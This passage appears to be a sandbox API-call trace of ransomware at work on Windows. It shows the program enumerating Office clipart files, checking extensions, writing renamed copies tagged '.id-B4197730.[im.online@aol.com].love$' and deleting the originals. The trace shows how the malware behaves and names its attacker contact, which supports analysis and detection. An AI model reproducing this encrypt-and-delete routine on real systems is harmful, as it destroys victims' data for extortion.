Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.197] lstrlenW (lpString=".jpg") returned 4 [0238.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.197] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.197] lstrlenW (lpString="BS00441_.WMF") returned 12 [0238.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0238.198] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3524) returned 1 [0238.198] CloseHandle (hObject=0x48c) returned 1 [0238.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0238.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0238.199] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.199] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0238.200] GetLastError () returned 0x0 [0238.200] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0238.202] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0238.203] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.203] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.204] SetEndOfFile (hFile=0x4c4) returned 1 [0238.204] CloseHandle (hObject=0x4c4) returned 1 [0238.204] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.204] SetEndOfFile (hFile=0x48c) returned 1 [0238.606] CloseHandle (hObject=0x48c) returned 1 [0238.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0238.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.607] lstrlenW (lpString=".doc") returned 4 [0238.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.607] lstrlenW (lpString=".docx") returned 5 [0238.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.608] lstrlenW (lpString=".pdf") returned 4 [0238.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString=".xls") returned 4 [0238.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.608] lstrlenW (lpString=".xlsx") returned 5 [0238.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.608] lstrlenW (lpString=".ppt") returned 4 [0238.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.608] lstrlenW (lpString=".zip") returned 4 [0238.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.608] lstrlenW (lpString=".rar") returned 4 [0238.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString=".bz2") returned 4 [0238.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString=".7z") returned 3 [0238.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.608] lstrlenW (lpString=".dbf") returned 4 [0238.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.608] lstrlenW (lpString=".1cd") returned 4 [0238.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.608] lstrlenW (lpString=".jpg") returned 4 [0238.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.609] lstrlenW (lpString=".doc") returned 4 [0238.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.609] lstrlenW (lpString=".docx") returned 5 [0238.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.609] lstrlenW (lpString=".pdf") returned 4 [0238.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.609] lstrlenW (lpString=".xls") returned 4 [0238.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.609] lstrlenW (lpString=".xlsx") returned 5 [0238.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.609] lstrlenW (lpString=".ppt") returned 4 [0238.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.609] lstrlenW (lpString=".zip") returned 4 [0238.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.609] lstrlenW (lpString=".rar") returned 4 [0238.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.609] lstrlenW (lpString=".bz2") returned 4 [0238.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.609] lstrlenW (lpString=".7z") returned 3 [0238.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.609] lstrlenW (lpString=".dbf") returned 4 [0238.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.609] lstrlenW (lpString=".1cd") returned 4 [0238.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0238.610] lstrlenW (lpString=".jpg") returned 4 [0238.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.610] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.610] lstrlenW (lpString="BS00445_.WMF") returned 12 [0238.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0239.337] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3796) returned 1 [0239.337] CloseHandle (hObject=0x520) returned 1 [0239.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0239.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0239.338] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.338] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0240.127] GetLastError () returned 0x0 [0240.127] ReadFile (in: hFile=0x520, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xed4, lpOverlapped=0x0) returned 1 [0240.155] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xee0, lpOverlapped=0x0) returned 1 [0240.156] ReadFile (in: hFile=0x520, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.156] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.156] SetEndOfFile (hFile=0x488) returned 1 [0240.157] CloseHandle (hObject=0x488) returned 1 [0240.157] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.157] SetEndOfFile (hFile=0x520) returned 1 [0240.160] CloseHandle (hObject=0x520) returned 1 [0240.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0240.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.161] lstrlenW (lpString=".doc") returned 4 [0240.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString=".docx") returned 5 [0240.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.162] lstrlenW (lpString=".pdf") returned 4 [0240.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString=".xls") returned 4 [0240.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.162] lstrlenW (lpString=".xlsx") returned 5 [0240.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.162] lstrlenW (lpString=".ppt") returned 4 [0240.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.162] lstrlenW (lpString=".zip") returned 4 [0240.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.162] lstrlenW (lpString=".rar") returned 4 [0240.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString=".bz2") returned 4 [0240.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString=".7z") returned 3 [0240.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.162] lstrlenW (lpString=".dbf") returned 4 [0240.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.162] lstrlenW (lpString=".1cd") returned 4 [0240.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.162] lstrlenW (lpString=".jpg") returned 4 [0240.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.163] lstrlenW (lpString=".doc") returned 4 [0240.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.163] lstrlenW (lpString=".docx") returned 5 [0240.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.163] lstrlenW (lpString=".pdf") returned 4 [0240.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.163] lstrlenW (lpString=".xls") returned 4 [0240.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.163] lstrlenW (lpString=".xlsx") returned 5 [0240.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.163] lstrlenW (lpString=".ppt") returned 4 [0240.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.163] lstrlenW (lpString=".zip") returned 4 [0240.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.163] lstrlenW (lpString=".rar") returned 4 [0240.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.163] lstrlenW (lpString=".bz2") returned 4 [0240.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.163] lstrlenW (lpString=".7z") returned 3 [0240.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.163] lstrlenW (lpString=".dbf") returned 4 [0240.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.164] lstrlenW (lpString=".1cd") returned 4 [0240.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0240.164] lstrlenW (lpString=".jpg") returned 4 [0240.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.164] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.164] lstrlenW (lpString="BS01637_.WMF") returned 12 [0240.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0240.384] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3948) returned 1 [0240.384] CloseHandle (hObject=0x528) returned 1 [0240.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0240.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0240.385] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.386] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0240.387] GetLastError () returned 0x0 [0240.387] ReadFile (in: hFile=0x528, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0240.401] WriteFile (in: hFile=0x4ec, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xf70, lpOverlapped=0x0) returned 1 [0240.457] ReadFile (in: hFile=0x528, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.457] WriteFile (in: hFile=0x4ec, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.457] SetEndOfFile (hFile=0x4ec) returned 1 [0240.457] CloseHandle (hObject=0x4ec) returned 1 [0240.457] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.457] SetEndOfFile (hFile=0x528) returned 1 [0240.462] CloseHandle (hObject=0x528) returned 1 [0240.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0240.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.464] lstrlenW (lpString=".doc") returned 4 [0240.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.464] lstrlenW (lpString=".docx") returned 5 [0240.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.464] lstrlenW (lpString=".pdf") returned 4 [0240.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.464] lstrlenW (lpString=".xls") returned 4 [0240.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.464] lstrlenW (lpString=".xlsx") returned 5 [0240.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.464] lstrlenW (lpString=".ppt") returned 4 [0240.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.464] lstrlenW (lpString=".zip") returned 4 [0240.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.464] lstrlenW (lpString=".rar") returned 4 [0240.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.464] lstrlenW (lpString=".bz2") returned 4 [0240.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.465] lstrlenW (lpString=".7z") returned 3 [0240.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.465] lstrlenW (lpString=".dbf") returned 4 [0240.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.465] lstrlenW (lpString=".1cd") returned 4 [0240.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.465] lstrlenW (lpString=".jpg") returned 4 [0240.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.465] lstrlenW (lpString=".doc") returned 4 [0240.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.465] lstrlenW (lpString=".docx") returned 5 [0240.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.465] lstrlenW (lpString=".pdf") returned 4 [0240.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.465] lstrlenW (lpString=".xls") returned 4 [0240.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.466] lstrlenW (lpString=".xlsx") returned 5 [0240.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.466] lstrlenW (lpString=".ppt") returned 4 [0240.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.466] lstrlenW (lpString=".zip") returned 4 [0240.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.466] lstrlenW (lpString=".rar") returned 4 [0240.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.466] lstrlenW (lpString=".bz2") returned 4 [0240.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.466] lstrlenW (lpString=".7z") returned 3 [0240.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.466] lstrlenW (lpString=".dbf") returned 4 [0240.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.466] lstrlenW (lpString=".1cd") returned 4 [0240.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0240.466] lstrlenW (lpString=".jpg") returned 4 [0240.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.466] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.466] lstrlenW (lpString="CG1606.WMF") returned 10 [0240.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 